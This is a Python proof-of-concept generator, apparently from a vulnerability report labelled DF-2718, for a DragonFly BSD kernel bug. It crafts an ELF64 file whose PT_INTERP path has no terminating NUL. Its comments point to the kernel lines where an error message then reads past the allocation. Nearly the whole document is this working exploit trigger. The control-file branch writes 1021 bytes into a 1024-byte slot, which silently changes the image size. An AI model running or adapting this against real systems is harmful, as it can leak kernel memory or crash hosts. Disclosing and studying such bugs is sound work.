DF-2718 / make_poc.py
#!/usr/bin/env python3 # DF-2718 PoC generator: ELF64 with a PT_INTERP string that is NOT # NUL-terminated (p_filesz bytes, none of them NUL). # # sys/kern/imgact_elf.c: # 668: interp = kmalloc(phdr[i].p_filesz, M_TEMP, M_WAITOK); <-- exact size, no +1, no M_ZERO # 1838/1850/1857/1859: bcopy of exactly pathsz bytes, never NUL-terminated # 844: uprintf("ELF interpreter %s not found\n", interp); <-- %s walks past the allocation # import struct, sys PAGE = 4096 INTERP_OFF = 0x800 # within first page INTERP_LEN = 1024 # == MAXPATHLEN, allowed (check is '> MAXPATHLEN') FILL = b'A' def phdr(t, flags, off, vaddr, paddr, filesz, memsz, align): return struct.pack('<IIQQQQQQ', t, flags, off, vaddr, paddr, filesz, memsz, align) PT_LOAD, PT_INTERP = 1, 3 PF_X, PF_W, PF_R = 1, 2, 4 def build(mode): # mode: 'unterm' (FILL only, no NUL) | 'term' (control: NUL-terminated) text = b'\x90' * 16 # nops; never reached (interp load fails) fsize = 2 * PAGE # file: header page + one text page e_ident = bytearray(16) e_ident[0:4] = b'\x7fELF' e_ident[4] = 2 # ELFCLASS64 e_ident[5] = 1 # ELFDATA2LSB e_ident[6] = 1 # EV_CURRENT e_ident[7] = 0 # EI_OSABI = ELFOSABI_NONE -> native DragonFly brand phdrs = phdr(PT_LOAD, PF_R|PF_X, 0, 0x400000, 0, fsize, fsize + PAGE, PAGE) phdrs += phdr(PT_INTERP, PF_R, INTERP_OFF, 0, 0, INTERP_LEN, 0, 1) ehdr = struct.pack('<16sHHIQQQIHHHHHH', bytes(e_ident), 2, # e_type = ET_EXEC 62, # e_machine = EM_X86_64 1, # e_version 0x401000, # e_entry 64, # e_phoff 0, # e_shoff 0, # e_flags 64, # e_ehsize 56, # e_phentsize len(phdrs)//56, # e_phnum 0, 0, 0) # shentsize/shnum/shstrndx img = bytearray(fsize) img[0:len(ehdr)] = ehdr img[64:64+len(phdrs)] = phdrs if mode == 'unterm': ibytes = FILL * INTERP_LEN # NO NUL anywhere else: ibytes = b'/libexec/ld-elf.so.2' + FILL * (INTERP_LEN - 24) + b'\x00' img[INTERP_OFF:INTERP_OFF+INTERP_LEN] = ibytes img[PAGE:PAGE+len(text)] = text return bytes(img) if __name__ == '__main__': open('poc_unterm', 'wb').write(build('unterm')) open('poc_term', 'wb').write(build('term')) print('wrote poc_unterm / poc_term') |